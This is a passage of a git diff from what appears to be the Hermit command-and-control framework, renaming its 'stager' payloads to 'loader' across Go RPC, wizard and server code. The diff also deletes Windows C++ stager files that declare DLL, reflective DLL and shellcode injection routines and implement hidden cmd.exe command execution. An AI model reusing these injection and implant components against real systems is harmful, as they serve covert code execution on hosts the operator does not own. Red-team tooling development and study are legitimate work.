wDest - ); - - VOID WinHttpCloseHandles( - Procs::PPROCS pProcs, - HINTERNET hSession, - HINTERNET hConnect, - HINTERNET hRequest - ); -} - -namespace System::Process -{ - DWORD GetProcessIdByName(LPCWSTR lpProcessName); - std::wstring ExecuteCmd(const std::wstring& cmd); - BOOL ExecuteFile(const std::wstring& filePath); -} - -#endif // HERMIT_CORE_SYSTEM_HPP \ No newline at end of file diff --git a/payload/win/stager/include/core/technique.hpp b/payload/win/stager/include/core/technique.hpp deleted file mode 100644 index b2774e8..0000000 --- a/payload/win/stager/include/core/technique.hpp +++ /dev/null @@ -1,20 +0,0 @@ -#ifndef HERMIT_CORE_TECHNIQUE_HPP -#define HERMIT_CORE_TECHNIQUE_HPP - -#include -#include -#include - -#include "core/stdout.hpp" - -namespace Technique::Injection -{ - BOOL DLLInjection(DWORD dwPID, LPVOID lpDllPath, size_t dwDllPathSize); - BOOL ReflectiveDLLInjection(LPCWSTR lpDllPath, size_t dwDllPathSize); - - BOOL ShellcodeInjection(DWORD dwPID, const std::vector& shellcode); - BOOL ShellcodeExecutionViaFibers(const std::vector& shellcode); - BOOL ShellcodeExecutionViaAPCAndNtTestAlert(const std::vector& shellcode); -} - -#endif // HERMIT_CORE_TECHNIQUE_HPP \ No newline at end of file diff --git a/payload/win/stager/src/core/procs.cpp b/payload/win/stager/src/core/procs.cpp deleted file mode 100644 index 8d5d9a3..0000000 --- a/payload/win/stager/src/core/procs.cpp +++ /dev/null @@ -1,24 +0,0 @@ -#include "core/procs.hpp" - -namespace Procs -{ - PPROCS FindProcs(HMODULE hNTDLL, HMODULE hWinHTTPDLL) - { - PPROCS pProcs = new PROCS; - - // WinHTTP - pProcs->lpWinHttpOpen = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpOpen")); - pProcs->lpWinHttpConnect = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpConnect")); - pProcs->lpWinHttpOpenRequest = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpOpenRequest")); - pProcs->lpWinHttpSetOption = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpSetOption")); - pProcs->lpWinHttpSendRequest = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpSendRequest")); - pProcs->lpWinHttpWriteData = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpWriteData")); - pProcs->lpWinHttpReceiveResponse = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpReceiveResponse")); - pProcs->lpWinHttpQueryHeaders = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpQueryHeaders")); - pProcs->lpWinHttpQueryDataAvailable = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpQueryDataAvailable")); - pProcs->lpWinHttpReadData = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpReadData")); - pProcs->lpWinHttpCloseHandle = reinterpret_cast(GetProcAddress(hWinHTTPDLL, "WinHttpCloseHandle")); - - return pProcs; - } -} \ No newline at end of file diff --git a/payload/win/stager/src/core/system/process.cpp b/payload/win/stager/src/core/system/process.cpp deleted file mode 100644 index 63d5585..0000000 --- a/payload/win/stager/src/core/system/process.cpp +++ /dev/null @@ -1,146 +0,0 @@ -#include "core/system.hpp" - -namespace System::Process -{ - DWORD GetProcessIdByName(LPCWSTR lpProcessName) - { - DWORD pid = 0; - HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); - if (hSnapshot != INVALID_HANDLE_VALUE) { - PROCESSENTRY32 pe32; - pe32.dwSize = sizeof(PROCESSENTRY32); - if (Process32First(hSnapshot, &pe32)) - { - do - { - if (lstrcmpi(pe32.szExeFile, lpProcessName) == 0) - { - pid = pe32.th32ProcessID; - break; - } - } while (Process32Next(hSnapshot, &pe32)); - - } - CloseHandle(hSnapshot); - } - - return pid; - } - - std::wstring ExecuteCmd(const std::wstring& cmd) - { - std::wstring result; - - SECURITY_ATTRIBUTES sa; - STARTUPINFOW si; - PROCESS_INFORMATION pi; - HANDLE hReadPipe = NULL; - HANDLE hWritePipe = NULL; - BOOL bResults = FALSE; - - sa.nLength = sizeof(SECURITY_ATTRIBUTES); - sa.bInheritHandle = TRUE; - sa.lpSecurityDescriptor = NULL; - - if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) - { - Stdout::DisplayErrorMessageBoxW(L"CreatePipe Error"); - return L""; - } - - if (!SetHandleInformation(hReadPipe, HANDLE_FLAG_INHERIT, 0)) - { - Stdout::DisplayErrorMessageBoxW(L"SetHandleInformation Error"); - return L""; - } - - ZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); - ZeroMemory(&si, sizeof(STARTUPINFOW)); - - si.cb = sizeof(STARTUPINFOW); - si.hStdError = hWritePipe; - si.hStdOutput = hWritePipe; - si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; - si.wShowWindow = SW_HIDE; - - // Set application name (full path) - WCHAR system32Path[MAX_PATH]; - GetSystemDirectoryW(system32Path, MAX_PATH); - std::wstring wSystem32Path = std::wstring(system32Path); - const std::wstring applicationName = wSystem32Path + L"\\cmd.exe"; - // const std::wstring applicationName = wSystem32Path + L"\\WindowsPowerShell\\v1.0\powershell.exe"; - - // Set command - std::wstring commandLine = L"/C " + cmd; - // std::wstring commandLine = L"-c " + cmd; - - bResults = CreateProcessW( - applicationName.c_str(), - &commandLine[0], - NULL, - NULL, - TRUE, - 0, - NULL, - NULL, - &si, - &pi - ); - if (!bResults) - { - Stdout::DisplayErrorMessageBoxW(L"CreateProcessW Error"); - return L""; - } - - // Read stdout - DWORD dwRead; - CHAR chBuf[4096]; - - CloseHandle(hWritePipe); - - while (ReadFile(hReadPipe, chBuf, 4095, &dwRead, NULL) && dwRead > 0) - { - chBuf[dwRead] = '\0'; - result += std::wstring(chBuf, chBuf + dwRead); - } - - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - CloseHandle(hReadPipe); - - return result; - } - - BOOL ExecuteFile(const std::wstring& filePath) - { - STARTUPINFO si; - PROCESS_INFORMATION pi; - - ZeroMemory(&si, sizeof(si)); - si.cb = sizeof(si); - ZeroMemory(&pi, sizeof(pi)); - - if (!CreateProcess( - filePath.c_str(), - NULL, - NULL, - NULL, - FALSE, - 0, - NULL, - NULL, - &si, - &pi - )) - { - return FALSE; - } - - WaitForSingleObject(pi.hProcess, INFINITE); - - CloseHandle(pi.hProcess); - CloseHandle(pi.hThread); - - return TRUE; - } -} \ No newline at end of file diff --git a/pkg/client/rpc/request.go b/pkg/client/rpc/request.go index 9012047..bcf4f8b 100644 --- a/pkg/client/rpc/request.go +++ b/pkg/client/rpc/request.go @@ -219,8 +219,8 @@ func RequestPayloadImplantGenerate(clientState *state.ClientState, imp *payload. return r.GetData(), nil } -func RequestPayloadStagerGenerate(clientState *state.ClientState, stg *payload.Stager) ([]byte, error) { - r, err := clientState.RPCClient.PayloadStagerGenerate(clientState.Ctx, &rpcpb.PayloadStager{ +func RequestPayloadLoaderGenerate(clientState *state.ClientState, stg *payload.Loader) ([]byte, error) { + r, err := clientState.RPCClient.PayloadLoaderGenerate(clientState.Ctx, &rpcpb.PayloadLoader{ Os: stg.Os, Arch: stg.Arch, Format: stg.Format, diff --git a/pkg/common/handler/payload.go b/pkg/common/handler/payload.go index ea1ff6f..03b1869 100644 --- a/pkg/common/handler/payload.go +++ b/pkg/common/handler/payload.go @@ -50,8 +50,8 @@ func HandlePayloadGen( spin.Stop() stdout.LogSuccess(fmt.Sprintf("Implant saved at %s", color.HiGreenString(outFile))) - } else if strings.HasPrefix(payloadType, "stager") { - stg, err := wizard.WizardPayloadStager( + } else if strings.HasPrefix(payloadType, "loader") { + ldr, err := wizard.WizardPayloadLoader( meta.GetSpecificHost(serverState.Conf.Host), liss, payloadType, @@ -61,10 +61,10 @@ func HandlePayloadGen( } fmt.Println() - spin := stdout.NewSpinner("Generating a stager...") + spin := stdout.NewSpinner("Generating a loader...") spin.Start() - _, outFile, err := stg.Generate(serverState) + _, outFile, err := ldr.Generate(serverState) if err != nil { spin.Stop() return err @@ -138,8 +138,8 @@ func HandlePayloadGen( } stdout.LogSuccess(fmt.Sprintf("Implant saved at %s", color.HiGreenString(outFile))) - } else if strings.HasPrefix(payloadType, "stager") { - stg, err := wizard.WizardPayloadStager( + } else if strings.HasPrefix(payloadType, "loader") { + ldr, err := wizard.WizardPayloadLoader( meta.GetSpecificHost(clientState.Conf.Server.Host), liss, payloadType, @@ -150,7 +150,7 @@ func HandlePayloadGen( spin := stdout.NewSpinner("Generating a payload...") spin.Start() - data, err := rpc.RequestPayloadStagerGenerate(clientState, stg) + data, err := rpc.RequestPayloadLoaderGenerate(clientState, ldr) if err != nil { spin.Stop() return err @@ -163,7 +163,7 @@ func HandlePayloadGen( return err } payloadsDir := fmt.Sprintf("%s/client/payloads", appDir) - outFile := fmt.Sprintf("%s/%s.%s", payloadsDir, stg.Name, stg.Format) + outFile := fmt.Sprintf("%s/%s.%s", payloadsDir, ldr.Name, ldr.Format) err = os.WriteFile(outFile, data, 0755) if err != nil { diff --git a/pkg/common/parser/amloot.go b/pkg/common/parser/amloot.go index c6ee23e..04ab8d9 100644 --- a/pkg/common/parser/amloot.go +++ b/pkg/common/parser/amloot.go @@ -39,5 +39,5 @@ func (c *amLootShowCmd) Run( type amLootCmd struct { Clear amLootClearCmd `cmd:"" help:"Remove all loot."` - Show amLootShowCmd `cmd:"" help:"Print loot gained from target computer."` + Show amLootShowCmd `cmd:"" help:"Print all loot (task results) gained from target computer."` } diff --git a/pkg/common/parser/amtask.go b/pkg/common/parser/amtask.go index b3fc38e..8854ed2 100644 --- a/pkg/common/parser/amtask.go +++ b/pkg/common/parser/amtask.go @@ -35,7 +35,22 @@ func (c *amTaskListCmd) Run( return nil } +type amTaskResultsCmd struct{} + +func (c *amTaskResultsCmd) Run( + ctx *kong.Context, + serverState *servState.ServerState, + clientState *cliState.ClientState, +) error { + err := handler.HandleAmLootShow(serverState, clientState) + if err != nil { + return err + } + return nil +} + type amTaskCmd struct { - Clear amTaskClearCmd `cmd:"" help:"Clear all tasks set."` - List amTaskListCmd `cmd:"" help:"List all tasks that are waiting for results."` + Clear amTaskClearCmd `cmd:"" help:"Clear all tasks set."` + List amTaskListCmd `cmd:"" help:"List all tasks that are waiting for results."` + Results amTaskResultsCmd `cmd:"" help:"Print all task results. This is the alias for 'loot show' command."` } diff --git a/pkg/common/parser/parser.go b/pkg/common/parser/parser.go index dcc3001..4689529 100644 --- a/pkg/common/parser/parser.go +++ b/pkg/common/parser/parser.go @@ -24,6 +24,9 @@ type GrammarGeneral struct { // LISTENER Listener listenerCmd `cmd:"" help:"Manage listeners." group:"LISTENER:"` Listeners listenerListCmd `cmd:"" help:"Alias for 'listener list'." group:"LISTENER:"` + + // PAYLOAD + Payload payloadCmd `cmd:"" help:"Manage payloads." group:"PAYLOAD:"` } type GrammarRoot struct { @@ -35,9 +38,6 @@ type GrammarRoot struct { // CONFIG ClientConfig clientConfigCmd `cmd:"" help:"Manage client config." group:"CONFIG:"` - // PAYLOAD - Payload payloadCmd `cmd:"" help:"Manage payloads." group:"PAYLOAD:"` - // AGENT Agent agentCmd `cmd:"" help:"Manage agents." group:"AGENT:"` Agents agentListCmd `cmd:"" help:"Alias for 'agent list'." group:"AGENT:"` @@ -108,7 +108,7 @@ type GrammarAgentMode struct { Tasks amTaskListCmd `cmd:"" help:"Alias for 'task list'" group:"TASK MANAGE:"` // LOOT - Loot amLootCmd `cmd:"" help:"Manage loot." group:"LOOT:"` + Loot amLootCmd `cmd:"" help:"Manage loot. We can see task results with this command." group:"LOOT:"` } func NewParser(grammar interface{}, addr string, domains []string) (*kong.Kong, error) { diff --git a/pkg/common/wizard/payload.go b/pkg/common/wizard/payload.go index 7541c87..66ef942 100644 --- a/pkg/common/wizard/payload.go +++ b/pkg/common/wizard/payload.go @@ -17,9 +17,9 @@ func WizardPayloadType() string { items := []string{ "implant/beacon", // "implant/interactive", - "stager/dll-loader", - "stager/exec-loader", - "stager/shellcode-loader", + "loader/dll", + "loader/exec", + "loader/shellcode", "shellcode/exec", // "shellcode/revshell", // "shellcode/dll-loader", @@ -301,33 +301,36 @@ func WizardPayloadImplant( ), nil } -func WizardPayloadStager( +func WizardPayloadLoader( host string, listeners []*listener.Listener, payloadType string, -) (*payload.Stager, error) { +) (*payload.Loader, error) { oOs, oArch, oFormat, oLprotocol, oLhost, oLport, err := wizardPayloadBase(host, listeners, false) if err != nil { return nil, err } - oType := strings.Replace(payloadType, "stager/", "", -1) + oType := strings.Replace(payloadType, "loader/", "", -1) // Technique var oTechnique string var items []string - if oType == "dll-loader" { + if oType == "dll" { + // DLL Loader items = []string{ "dll-injection", "reflective-dll-injection", // "indirect-syscalls", } - } else if oType == "exec-loader" { + } else if oType == "exec" { + // Exec Loader items = []string{ "direct-execution", // "process-doppeleganging", } - } else if oType == "shellcode-loader" { + } else if oType == "shellcode" { + // Shellcode Loader items = []string{ "shellcode-injection", "shellcode-execution-via-fibers", @@ -367,7 +370,7 @@ func WizardPayloadStager( stdout.NewSingleTableItem("Technique", oTechnique), stdout.NewSingleTableItem("Process To Inject", oProcessToInject), } - stdout.PrintSingleTable("Stager Options", table) + stdout.PrintSingleTable("Loader Options", table) var proceed bool for { @@ -382,7 +385,7 @@ func WizardPayloadStager( return nil, fmt.Errorf("canceled") } - return payload.NewStager( + return payload.NewLoader( 0, "", "", diff --git a/pkg/protobuf/rpcpb/rpc.pb.go b/pkg/protobuf/rpcpb/rpc.pb.go index b3aa649..38991a9 100644 --- a/pkg/protobuf/rpcpb/rpc.pb.go +++ b/pkg/protobuf/rpcpb/rpc.pb.go @@ -401,7 +401,7 @@ func (x *PayloadImplant) GetIndirectSyscalls() bool { return false } -type PayloadStager struct { +type PayloadLoader struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields @@ -420,8 +420,8 @@ type PayloadStager struct { ProcessToInject string `protobuf:"bytes,12,opt,name=processToInject,proto3" json:"processToInject,omitempty"` } -func (x *PayloadStager) Reset() { - *x = PayloadStager{} +func (x *PayloadLoader) Reset() { + *x = PayloadLoader{} if protoimpl.UnsafeEnabled { mi := &file_rpcpb_rpc_proto_msgTypes[4] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -429,13 +429,13 @@ func (x *PayloadStager) Reset() { } } -func (x *PayloadStager) String() string { +func (x *PayloadLoader) String() string { return protoimpl.X.MessageStringOf(x) } -func (*PayloadStager) ProtoMessage() {} +func (*PayloadLoader) ProtoMessage() {} -func (x *PayloadStager) ProtoReflect() protoreflect.Message { +func (x *PayloadLoader) ProtoReflect() protoreflect.Message { mi := &file_rpcpb_rpc_proto_msgTypes[4] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) @@ -447,89 +447,89 @@ func (x *PayloadStager) ProtoReflect() protoreflect.Message { return mi.MessageOf(x) } -// Deprecated: Use PayloadStager.ProtoReflect.Descriptor instead. -func (*PayloadStager) Descriptor() ([]byte, []int) { +// Deprecated: Use PayloadLoader.ProtoReflect.Descriptor instead. +func (*PayloadLoader) Descriptor() ([]byte, []int) { return file_rpcpb_rpc_proto_rawDescGZIP(), []int{4} } -func (x *PayloadStager) GetId() int64 { +func (x *PayloadLoader) GetId() int64 { if x != nil { return x.Id } return 0 } -func (x *PayloadStager) GetUuid() string { +func (x *PayloadLoader) GetUuid() string { if x != nil { return x.Uuid } return "" } -func (x *PayloadStager) GetName() string { +func (x *PayloadLoader) GetName() string { if x != nil { return x.Name } return "" } -func (x *PayloadStager) GetOs() string { +func (x *PayloadLoader) GetOs() string { if x != nil { return x.Os } return "" } -func (x *PayloadStager) GetArch() string { +func (x *PayloadLoader) GetArch() string { if x != nil { return x.Arch } return "" } -func (x *PayloadStager) GetFormat() string { +func (x *PayloadLoader) GetFormat() string { if x != nil { return x.Format } return "" } -func (x *PayloadStager) GetLprotocol() string { +func (x *PayloadLoader) GetLprotocol() string { if x != nil { return x.Lprotocol } return "" } -func (x *PayloadStager) GetLhost() string { +func (x *PayloadLoader) GetLhost() string { if x != nil { return x.Lhost } return "" } -func (x *PayloadStager) GetLport() int32 { +func (x *PayloadLoader) GetLport() int32 { if x != nil { return x.Lport } return 0 } -func (x *PayloadStager) GetType() string { +func (x *PayloadLoader) GetType() string { if x != nil { return x.Type } return "" } -func (x *PayloadStager) GetTechnique() string { +func (x *PayloadLoader) GetTechnique() string { if x != nil { return x.Technique } return "" } -func (x *PayloadStager) GetProcessToInject() string { +func (x *PayloadLoader) GetProcessToInject() string { if x != nil { return x.ProcessToInject } @@ -974,7 +974,7 @@ var file_rpcpb_rpc_proto_rawDesc = []byte{ 0x72, 0x65, 0x63, 0x74, 0x53, 0x79, 0x73, 0x63, 0x61, 0x6c, 0x6c, 0x73, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x08, 0x52, 0x10, 0x69, 0x6e, 0x64, 0x69, 0x72, 0x65, 0x63, 0x74, 0x53, 0x79, 0x73, 0x63, 0x61, 0x6c, 0x6c, 0x73, 0x22, 0xa9, 0x02, 0x0a, 0x0d, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, - 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, + 0x4c, 0x6f, 0x61, 0x64, 0x65, 0x72, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x02, 0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x75, 0x75, 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x75, 0x75, 0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x0e, @@ -1092,9 +1092,9 @@ var file_rpcpb_rpc_proto_rawDesc = []byte{ 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x15, 0x2e, 0x72, 0x70, 0x63, 0x70, 0x62, 0x2e, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x1a, 0x10, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x22, 0x00, - 0x12, 0x41, 0x0a, 0x15, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x53, 0x74, 0x61, 0x67, 0x65, + 0x12, 0x41, 0x0a, 0x15, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x4c, 0x6f, 0x61, 0x64, 0x65, 0x72, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x14, 0x2e, 0x72, 0x70, 0x63, 0x70, - 0x62, 0x2e, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x1a, + 0x62, 0x2e, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x4c, 0x6f, 0x61, 0x64, 0x65, 0x72, 0x1a, 0x10, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x42, 0x69, 0x6e, 0x61, 0x72, 0x79, 0x22, 0x00, 0x12, 0x47, 0x0a, 0x18, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, @@ -1158,7 +1158,7 @@ var file_rpcpb_rpc_proto_goTypes = []interface{}{ (*Listener)(nil), // 1: rpcpb.Listener (*ListenerPayload)(nil), // 2: rpcpb.ListenerPayload (*PayloadImplant)(nil), // 3: rpcpb.PayloadImplant - (*PayloadStager)(nil), // 4: rpcpb.PayloadStager + (*PayloadLoader)(nil), // 4: rpcpb.PayloadLoader (*PayloadShellcode)(nil), // 5: rpcpb.PayloadShellcode (*Agent)(nil), // 6: rpcpb.Agent (*Task)(nil), // 7: rpcpb.Task @@ -1185,7 +1185,7 @@ var file_rpcpb_rpc_proto_depIdxs = []int32{ 11, // 12: rpcpb.HermitRPC.ListenerGetById:input_type -> commonpb.Id 9, // 13: rpcpb.HermitRPC.ListenerGetAll:input_type -> commonpb.Empty 3, // 14: rpcpb.HermitRPC.PayloadImplantGenerate:input_type -> rpcpb.PayloadImplant - 4, // 15: rpcpb.HermitRPC.PayloadStagerGenerate:input_type -> rpcpb.PayloadStager + 4, // 15: rpcpb.HermitRPC.PayloadLoaderGenerate:input_type -> rpcpb.PayloadLoader 5, // 16: rpcpb.HermitRPC.PayloadShellcodeGenerate:input_type -> rpcpb.PayloadShellcode 11, // 17: rpcpb.HermitRPC.AgentDeleteById:input_type -> commonpb.Id 11, // 18: rpcpb.HermitRPC.AgentGetById:input_type -> commonpb.Id @@ -1211,7 +1211,7 @@ var file_rpcpb_rpc_proto_depIdxs = []int32{ 1, // 38: rpcpb.HermitRPC.ListenerGetById:output_type -> rpcpb.Listener 1, // 39: rpcpb.HermitRPC.ListenerGetAll:output_type -> rpcpb.Listener 13, // 40: rpcpb.HermitRPC.PayloadImplantGenerate:output_type -> commonpb.Binary - 13, // 41: rpcpb.HermitRPC.PayloadStagerGenerate:output_type -> commonpb.Binary + 13, // 41: rpcpb.HermitRPC.PayloadLoaderGenerate:output_type -> commonpb.Binary 13, // 42: rpcpb.HermitRPC.PayloadShellcodeGenerate:output_type -> commonpb.Binary 12, // 43: rpcpb.HermitRPC.AgentDeleteById:output_type -> commonpb.Message 6, // 44: rpcpb.HermitRPC.AgentGetById:output_type -> rpcpb.Agent @@ -1284,7 +1284,7 @@ func file_rpcpb_rpc_proto_init() { } } file_rpcpb_rpc_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*PayloadStager); i { + switch v := v.(*PayloadLoader); i { case 0: return &v.state case 1: diff --git a/pkg/protobuf/rpcpb/rpc.proto b/pkg/protobuf/rpcpb/rpc.proto index 8ee15e5..32f3cdb 100644 --- a/pkg/protobuf/rpcpb/rpc.proto +++ b/pkg/protobuf/rpcpb/rpc.proto @@ -33,7 +33,7 @@ service HermitRPC { // PAYLOAD rpc PayloadImplantGenerate (PayloadImplant) returns (commonpb.Binary) {} - rpc PayloadStagerGenerate (PayloadStager) returns (commonpb.Binary) {} + rpc PayloadLoaderGenerate (PayloadLoader) returns (commonpb.Binary) {} rpc PayloadShellcodeGenerate (PayloadShellcode) returns (commonpb.Binary) {} // AGENT @@ -92,7 +92,7 @@ message PayloadImplant { bool indirectSyscalls = 14; } -message PayloadStager { +message PayloadLoader { int64 id = 1; string uuid = 2; string name = 3; diff --git a/pkg/protobuf/rpcpb/rpc_grpc.pb.go b/pkg/protobuf/rpcpb/rpc_grpc.pb.go index a49762d..ca3c3d9 100644 --- a/pkg/protobuf/rpcpb/rpc_grpc.pb.go +++ b/pkg/protobuf/rpcpb/rpc_grpc.pb.go @@ -42,7 +42,7 @@ type HermitRPCClient interface { ListenerGetAll(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (HermitRPC_ListenerGetAllClient, error) // PAYLOAD PayloadImplantGenerate(ctx context.Context, in *PayloadImplant, opts ...grpc.CallOption) (*commonpb.Binary, error) - PayloadStagerGenerate(ctx context.Context, in *PayloadStager, opts ...grpc.CallOption) (*commonpb.Binary, error) + PayloadLoaderGenerate(ctx context.Context, in *PayloadLoader, opts ...grpc.CallOption) (*commonpb.Binary, error) PayloadShellcodeGenerate(ctx context.Context, in *PayloadShellcode, opts ...grpc.CallOption) (*commonpb.Binary, error) // AGENT AgentDeleteById(ctx context.Context, in *commonpb.Id, opts ...grpc.CallOption) (*commonpb.Message, error) @@ -247,9 +247,9 @@ func (c *hermitRPCClient) PayloadImplantGenerate(ctx context.Context, in *Payloa return out, nil } -func (c *hermitRPCClient) PayloadStagerGenerate(ctx context.Context, in *PayloadStager, opts ...grpc.CallOption) (*commonpb.Binary, error) { +func (c *hermitRPCClient) PayloadLoaderGenerate(ctx context.Context, in *PayloadLoader, opts ...grpc.CallOption) (*commonpb.Binary, error) { out := new(commonpb.Binary) - err := c.cc.Invoke(ctx, "/rpcpb.HermitRPC/PayloadStagerGenerate", in, out, opts...) + err := c.cc.Invoke(ctx, "/rpcpb.HermitRPC/PayloadLoaderGenerate", in, out, opts...) if err != nil { return nil, err } @@ -392,7 +392,7 @@ type HermitRPCServer interface { ListenerGetAll(*commonpb.Empty, HermitRPC_ListenerGetAllServer) error // PAYLOAD PayloadImplantGenerate(context.Context, *PayloadImplant) (*commonpb.Binary, error) - PayloadStagerGenerate(context.Context, *PayloadStager) (*commonpb.Binary, error) + PayloadLoaderGenerate(context.Context, *PayloadLoader) (*commonpb.Binary, error) PayloadShellcodeGenerate(context.Context, *PayloadShellcode) (*commonpb.Binary, error) // AGENT AgentDeleteById(context.Context, *commonpb.Id) (*commonpb.Message, error) @@ -458,8 +458,8 @@ func (UnimplementedHermitRPCServer) ListenerGetAll(*commonpb.Empty, HermitRPC_Li func (UnimplementedHermitRPCServer) PayloadImplantGenerate(context.Context, *PayloadImplant) (*commonpb.Binary, error) { return nil, status.Errorf(codes.Unimplemented, "method PayloadImplantGenerate not implemented") } -func (UnimplementedHermitRPCServer) PayloadStagerGenerate(context.Context, *PayloadStager) (*commonpb.Binary, error) { - return nil, status.Errorf(codes.Unimplemented, "method PayloadStagerGenerate not implemented") +func (UnimplementedHermitRPCServer) PayloadLoaderGenerate(context.Context, *PayloadLoader) (*commonpb.Binary, error) { + return nil, status.Errorf(codes.Unimplemented, "method PayloadLoaderGenerate not implemented") } func (UnimplementedHermitRPCServer) PayloadShellcodeGenerate(context.Context, *PayloadShellcode) (*commonpb.Binary, error) { return nil, status.Errorf(codes.Unimplemented, "method PayloadShellcodeGenerate not implemented") @@ -780,20 +780,20 @@ func _HermitRPC_PayloadImplantGenerate_Handler(srv interface{}, ctx context.Cont return interceptor(ctx, in, info, handler) } -func _HermitRPC_PayloadStagerGenerate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(PayloadStager) +func _HermitRPC_PayloadLoaderGenerate_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(PayloadLoader) if err := dec(in); err != nil { return nil, err } if interceptor == nil { - return srv.(HermitRPCServer).PayloadStagerGenerate(ctx, in) + return srv.(HermitRPCServer).PayloadLoaderGenerate(ctx, in) } info := &grpc.UnaryServerInfo{ Server: srv, - FullMethod: "/rpcpb.HermitRPC/PayloadStagerGenerate", + FullMethod: "/rpcpb.HermitRPC/PayloadLoaderGenerate", } handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(HermitRPCServer).PayloadStagerGenerate(ctx, req.(*PayloadStager)) + return srv.(HermitRPCServer).PayloadLoaderGenerate(ctx, req.(*PayloadLoader)) } return interceptor(ctx, in, info, handler) } @@ -1041,8 +1041,8 @@ var HermitRPC_ServiceDesc = grpc.ServiceDesc{ Handler: _HermitRPC_PayloadImplantGenerate_Handler, }, { - MethodName: "PayloadStagerGenerate", - Handler: _HermitRPC_PayloadStagerGenerate_Handler, + MethodName: "PayloadLoaderGenerate", + Handler: _HermitRPC_PayloadLoaderGenerate_Handler, }, { MethodName: "PayloadShellcodeGenerate", diff --git a/pkg/server/payload/stager.go b/pkg/server/payload/loader.go similarity index 91% rename from pkg/server/payload/stager.go rename to pkg/server/payload/loader.go index b4f93b4..db2fba6 100644 --- a/pkg/server/payload/stager.go +++ b/pkg/server/payload/loader.go @@ -14,7 +14,7 @@ import ( "github.com/hideckies/hermit/pkg/server/state" ) -type Stager struct { +type Loader struct { Id uint Uuid string Name string @@ -24,12 +24,12 @@ type Stager struct { Lprotocol string Lhost string Lport uint16 - Type string // "dll-loader", "exec-loader", "shellcode-loader" + Type string // "dll", "exec", "shellcode" Technique string // Evasion technique ProcessToInject string } -func NewStager( +func NewLoader( id uint, _uuid string, name string, @@ -42,15 +42,15 @@ func NewStager( stgType string, technique string, processToInject string, -) *Stager { +) *Loader { if _uuid == "" { _uuid = uuid.NewString() } if name == "" { - name = utils.GenerateRandomAnimalName(false, fmt.Sprintf("stager-%s", stgType)) + name = utils.GenerateRandomAnimalName(false, fmt.Sprintf("loader-%s", stgType)) } - return &Stager{ + return &Loader{ Id: id, Uuid: _uuid, Name: name, @@ -66,7 +66,7 @@ func NewStager( } } -func (s *Stager) Generate(serverState *state.ServerState) (data []byte, outFile string, err error) { +func (s *Loader) Generate(serverState *state.ServerState) (data []byte, outFile string, err error) { // Get the correspoiding listener liss, err := serverState.DB.ListenerGetAll() if err != nil { @@ -91,7 +91,7 @@ func (s *Stager) Generate(serverState *state.ServerState) (data []byte, outFile outFile = fmt.Sprintf("%s/%s.%s.%s", payloadsDir, s.Name, s.Arch, s.Format) // Get request path - requestPathDownload := utils.GetRandomElemString(serverState.Conf.Listener.FakeRoutes["/stager/download"]) + requestPathDownload := utils.GetRandomElemString(serverState.Conf.Listener.FakeRoutes["/loader/download"]) // Generate random AES key and IV newAES, 